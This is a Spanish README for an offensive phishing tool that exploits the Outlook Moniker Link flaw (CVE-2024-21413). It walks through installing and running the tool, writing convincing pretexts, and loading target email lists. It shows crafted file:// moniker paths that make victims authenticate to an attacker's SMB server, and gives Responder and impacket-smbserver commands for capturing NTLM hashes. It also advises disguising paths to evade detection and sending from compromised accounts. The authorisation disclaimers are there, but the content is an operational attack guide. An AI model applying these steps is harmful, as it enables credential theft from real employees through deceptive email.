BLIND TRUST - Moniker Link Phishing Engagement Framework

Un marco de herramientas de seguridad para simular campañas de phishing dirigidas utilizando la vulnerabilidad CVE-2024-21413 Moniker Link. Diseñado para operaciones de equipo rojo autorizadas, pruebas de penetración y concienciación en seguridad.

Descripción general

BLIND TRUST es un marco de campañas de phishing que ayuda a los equipos de seguridad a comprender y probar sus defensas contra ataques sofisticados basados en correo electrónico. Aprovecha la técnica Moniker Link para eludir la Vista Protegida de Outlook, proporcionando una simulación de ataque realista que las organizaciones pueden utilizar para fortalecer su postura de seguridad.

Esta herramienta automatiza el flujo de trabajo de campaña de extremo a extremo, desde la configuración hasta la entrega de correos electrónicos, manteniendo la seguridad operativa mediante rutas UNC personalizables y opciones de pretexto flexibles.

Propósito

Las organizaciones necesitan comprender las técnicas de ataque reales para defenderse de manera efectiva. TRUST permite:

• Operaciones de equipo rojo - Realizar campañas de phishing autorizadas como parte de evaluaciones de seguridad
• Capacitación en concienciación de seguridad - Demostrar vectores de ataque del mundo real a los empleados
• Validación de vulnerabilidades - Probar capacidades de detección contra técnicas conocidas
• Investigación defensiva - Comprender el comportamiento de Moniker Link en su entorno

Características

• Campañas multiobjetivo - Enviar correos electrónicos de phishing a múltiples objetivos con una sola configuración
• Carga flexible de objetivos - Cargar objetivos mediante entrada interactiva o archivos .txt estilo wordlist
• Pretexto personalizable - Controlar el asunto del correo, el nombre del remitente y el cuerpo del texto
• Rutas UNC discretas - Personalizar la ruta de Moniker Link para que parezca realista (dominio, nombre de recurso compartido, nombre del exploit)
• Autenticación SMTP - Soporte para varios servidores SMTP con negociación TLS
• Lógica de reintento automático - Retroceso exponencial para fallos transitorios de SMTP
• Informes de campaña - Estado de entrega por objetivo con resultados agregados
• Sin firmas codificadas - Eliminar indicadores obvios que expongan la técnica

Instalación

Requisitos

• Python 3.7+
• Solo biblioteca estándar (sin dependencias externas)

Configuración

# Clonar el repositorio
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Ejecutar la herramienta
python3 TRUST_v7.py

Requisitos

La herramienta utiliza únicamente módulos de la biblioteca estándar de Python:

getpass      - Entrada segura de contraseñas
html         - Escape HTML
ipaddress    - Validación de direcciones IP
logging      - Registro estructurado
os           - Operaciones de archivos
re           - Expresiones regulares
signal       - Manejo de señales
smtplib      - Protocolo de correo SMTP
sys          - Utilidades del sistema
time         - Operaciones de tiempo
dataclasses  - Modelado de configuración
email        - Construcción de correo MIME
typing       - Sugerencias de tipo

No se requieren paquetes externos: funciona en cualquier lugar con Python 3.7+.

Inicio rápido

python3 TRUST_v7.py

Siga el asistente interactivo a través de 5 pasos:

1. Credenciales del atacante - Cuenta SMTP para enviar correos
2. Configuración del oyente SMB - Dirección IP donde los objetivos se conectarán
3. Configuración de objetivos - Cargar víctimas desde entrada o archivo wordlist
4. Personalización del correo - Asunto, nombre del remitente y cuerpo del texto
5. Personalización del payload - Host de ruta UNC, nombre del recurso compartido y del exploit

Ejemplos de uso

Ejemplo 1: Entrada interactiva (campaña pequeña)

¿Cargar objetivos desde [f]ile o [i]nput directamente?: i
Dirección(es) de correo del objetivo: [email protected], [email protected]

Asunto del correo [Security Update Required]: Urgente: Aviso de caducidad de contraseña
Nombre mostrado (campo From) [Microsoft Security Center]: Equipo de Seguridad TI
Cuerpo del correo: Su contraseña caduca en 24 horas. Por favor, actualícela inmediatamente.

Host UNC (IP o dominio) [192.168.1.100]: it-internal.company.com
Nombre del recurso compartido UNC [updates]: patches
Nombre del exploit UNC [patch]: kb_security_2024

Ejemplo 2: Carga desde wordlist (campaña grande)

Cree targets.txt:

# Departamento de Finanzas
[email protected]
[email protected]
[email protected]

# Contabilidad
[email protected]
[email protected]

Luego ejecute:

¿Cargar objetivos desde [f]ile o [i]nput directamente?: f
Ruta al archivo de objetivos: targets.txt
[+] Se cargaron 5 objetivo(s) desde targets.txt

Ejemplo 3: Pretexto financiero realista

Asunto del correo: Revisión Financiera Q3 - Acción Requerida
Nombre mostrado: Equipo de Operaciones Financieras
Cuerpo del correo: Por favor, revise el estado financiero adjunto del Q3 y proporcione su aprobación.

Host UNC: finance-internal.company.com
Recurso compartido UNC: quarterly
Exploit UNC: q3_financial_report

Ruta UNC generada: file://finance-internal.company.com/quarterly!q3_financial_report

Configuración explicada

PASO 1: Credenciales del atacante

• Correo del atacante: La dirección de correo utilizada para enviar correos de phishing (normalmente una cuenta comprometida o suplantada)
• Contraseña SMTP: Credencial de autenticación para el servidor de correo

PASO 2: Oyente SMB

• IP del oyente SMB: La dirección IP donde se ejecuta su oyente SMB (por ejemplo, Responder, impacket-smbserver). Los objetivos intentarán conectarse aquí cuando hagan clic en el enlace Moniker Link.

PASO 3: Configuración de objetivos

Dos opciones:

• Entrada interactiva: Pegar correos directamente (separados por coma o nueva línea)
• Archivo wordlist: Cargar desde un archivo .txt con un correo por línea, comentarios que comiencen con #

PASO 4: Personalización del correo

• Asunto: Línea de asunto del correo (evite referencias a CVE; manténgalo profesional)
• Nombre mostrado (From): El nombre amigable que aparece en el encabezado del correo
• Cuerpo del correo: El texto de pretexto que explica por qué los objetivos deben hacer clic en el enlace

PASO 5: Personalización del payload

Aquí es donde se evitan firmas obvias:

• Host UNC: Use un dominio o subdominio realista (por ejemplo, finance-internal.company.com) en lugar de solo una IP
• Recurso compartido UNC: Nombre de recurso compartido realista como quarterly, updates, documents
• Exploit UNC: Nombre de archivo realista como q3_report, security_patch, training_document

Resultado: En lugar del obvio \\192.168.1.100\share!exploit, se obtiene algo como file://finance-internal.company.com/quarterly!q3_report.

Flujo de ejecución

Inicio
  ↓
[PASO 1] Solicitar correo del atacante y contraseña SMTP
  ↓
[PASO 2] Solicitar IP del oyente SMB
  ↓
[PASO 3] Cargar correos de los objetivos (archivo o entrada)
  ↓
     ↓→ Para cada objetivo:
     │  - Validar formato de correo
     │  - Verificar duplicados
     │
[PASO 4] Solicitar pretexto del correo
     │  - Asunto, nombre From, cuerpo
     │
[PASO 5] Solicitar personalización de ruta UNC
     │  - Host, recurso compartido, nombre del exploit
     │
  ↓
[CONSTRUIR] Construir objeto de configuración
  ↓
[VALIDAR] Verificar que todos los campos estén presentes y sean válidos
  ↓
[RESUMEN] Mostrar resumen previo al envío para revisión
  ↓
[CONFIRMAR] El usuario aprueba o cancela
  ↓
[ENVIAR] Para cada objetivo:
     │  - Construir correo MIME con enlace Moniker Link personalizado
     │  - Intentar entrega SMTP con lógica de reintento
     │  - Registrar éxito/fallo por objetivo
     │
  ↓
[INFORME] Mostrar resultados de la campaña (entregados vs fallidos)
  ↓
Salir

Cómo funciona

La vulnerabilidad

CVE-2024-21413 (Moniker Link) es una vulnerabilidad de Outlook que permite incrustar URL file:// con un carácter !. Cuando un usuario hace clic en dicho enlace, Outlook intenta acceder a la ruta UNC, lo que desencadena un intento de autenticación NTLM incluso en modo Vista Protegida.

Flujo del ataque

1. El usuario recibe un correo con un enlace Moniker Link
2. El correo parece legítimo (gracias a su pretexto personalizado)
3. El usuario hace clic en el enlace
4. Outlook intenta acceder a \\host\share!exploit
5. El carácter ! elude la Vista Protegida
6. El sistema del usuario se autentica en su oyente SMB
7. Usted captura el hash NTLM o información de credenciales

Qué hace esta herramienta

TRUST automatiza la fase de entrega:

• Crea correos realistas con pretexto personalizado
• Inyecta el enlace Moniker Link en el payload HTML
• Gestiona conexiones SMTP y reintentos
• Maneja múltiples objetivos de manera eficiente
• Proporciona informes de campaña

Solución de problemas

Problema: "SMTP attempt 3 failed: [SMTP: 535]"

Solución: Verifique las credenciales SMTP. Para Gmail, use una contraseña específica de la aplicación. Para correo corporativo, consulte con su administrador SMTP.

Problema: "TLS not supported. Proceeding without encryption."

Solución: Normal para algunos servidores SMTP. La conexión continuará sin cifrado TLS.

Problema: "Invalid email: victim@"

Solución: Asegúrese de que los correos en los archivos wordlist estén completos y tengan un formato válido ([email protected]).

Problema: "Recipient rejected"

Solución: La dirección de correo no existe en el servidor de destino, o el servidor está bloqueando la retransmisión desde su cuenta.

Problema: "File not found: targets.txt"

Solución: Verifique que la ruta del archivo sea correcta y que el archivo exista en su directorio actual.

FAQ

P: ¿Es legal usar esta herramienta? R: Solo con autorización explícita por escrito de la organización que está probando. El phishing no autorizado es ilegal. Siempre tenga un alcance de trabajo y reglas de participación por escrito.

P: ¿Puede eludir filtros de correo electrónico avanzados? R: Es una simulación realista, pero la seguridad moderna del correo aún puede detectarlo. Ese es el punto: si los filtros de su organización fallan ante esto, tiene un problema que resolver.

P: ¿Por qué personalizar la ruta UNC? R: El original \\IP\share!exploit es una señal evidente. Los atacantes reales utilizan rutas realistas. Su equipo de seguridad debería detectar tanto indicadores obvios como sutiles.

P: ¿Puedo usarlo para capacitar a empleados? R: Sí. Después de pruebas autorizadas, use ejemplos de campaña anonimizados en la capacitación de concienciación en seguridad para mostrar a los empleados técnicas de ataque reales.

P: ¿Captura credenciales? R: No. TRUST solo entrega el correo. Necesita un oyente SMB aparte (Responder, impacket-smbserver, etc.) para capturar hashes NTLM cuando los objetivos hagan clic en el enlace.

P: ¿Cómo configuro un oyente SMB? R: Use Responder en Linux o impacket-smbserver:

# Responder (captura hashes)
sudo responder -i eth0 -v

# impacket-smbserver (simulación de servidor de archivos)
impacket-smbserver Share /tmp -smb2support

Limitaciones

• Sin captura de credenciales incorporada: Usted proporciona el oyente SMB; TRUST solo entrega correos
• Sin persistencia de campaña: Los resultados se muestran en consola; redirija stdout para guardarlos
• Sin inteligencia de objetivos: Debe recopilar las direcciones de correo de los objetivos usted mismo
• Sin ofuscación de correo: Aunque las rutas UNC son personalizables, los encabezados de correo son SMTP estándar
• Sin multihilos: Los correos se envían secuencialmente por fiabilidad

Descargo de responsabilidad

Esta herramienta es solo para pruebas de seguridad autorizadas.

• Debe tener permiso explícito por escrito para realizar campañas de phishing
• El uso no autorizado es ilegal y poco ético
• Úselo solo en entornos controlados contra sistemas que posea o tenga permiso para probar
• Siempre cumpla con las leyes y regulaciones aplicables
• Los autores no asumen ninguna responsabilidad por el mal uso o daños causados por esta herramienta

Al usar TRUST, reconoce que comprende las implicaciones legales y tiene la autorización adecuada.

Recomendaciones para un uso responsable

1. Obtenga autorización por escrito - Obtenga reglas de participación firmadas antes de cualquier campaña
2. Defina el alcance de sus objetivos - Determine qué sistemas y personas están dentro del alcance
3. Planifique la remediación - Tenga un plan de capacitación listo para los empleados que caigan en el phishing
4. Documente los resultados - Mantenga registros detallados de la evaluación
5. Informe los hallazgos - Proporcione retroalimentación a las partes interesadas sobre lo que fue efectivo
6. Respete la privacidad - No use los datos capturados fuera del programa de seguridad

Mejoras futuras

• Persistencia de campaña y registro en archivo
• Sistema de plantillas para pretexto de correo
• Integración con LDAP para enumeración de objetivos
• Renderizado de plantillas HTML para correos más sofisticados
• Programación de campañas (entrega basada en tiempo)
• Panel de informes con métricas y análisis
• Soporte para otras técnicas de phishing más allá de Moniker Link

Licencia

Este proyecto se publica bajo la Licencia MIT con la adición de una restricción de uso. Consulte LICENSE para más detalles.

Créditos y atribución

Este proyecto se basa y está inspirado en la investigación e implementación original de CVE-2024-21413 por CMNatic (https://github.com/cmnatic).

CMNatic merece todo el crédito por:

• Investigación original de la vulnerabilidad y prueba de concepto
• Implementación técnica central
• Documentación pública inicial

Este repositorio representa una versión modificada y extendida de ese trabajo, con mejoras que incluyen:

• Soporte para campañas multiobjetivo
• Pretexto de correo personalizable
• Personalización de rutas UNC discretas
• Carga de objetivos basada en wordlist
• Manejo SMTP mejorado y lógica de reintento
• Documentación completa

Consulte CREDITS.md para una atribución más detallada.

Autor

H1SS - Extendió y mantiene esta versión para fines de investigación de seguridad y pruebas autorizadas.

Contribuciones

Las contribuciones son bienvenidas. Asegúrese de que cualquier cambio:

• Mantenga el enfoque educativo de la herramienta
• Incluya la documentación adecuada
• Siga las prácticas de divulgación responsable
• No introduzca dependencias externas

Consulte CONTRIBUTING.md para obtener pautas.

Soporte

Para problemas, preguntas o sugerencias, abra un issue en GitHub.

Recuerde: Esta herramienta es un proyecto de investigación. Úsela de manera responsable, legal y ética.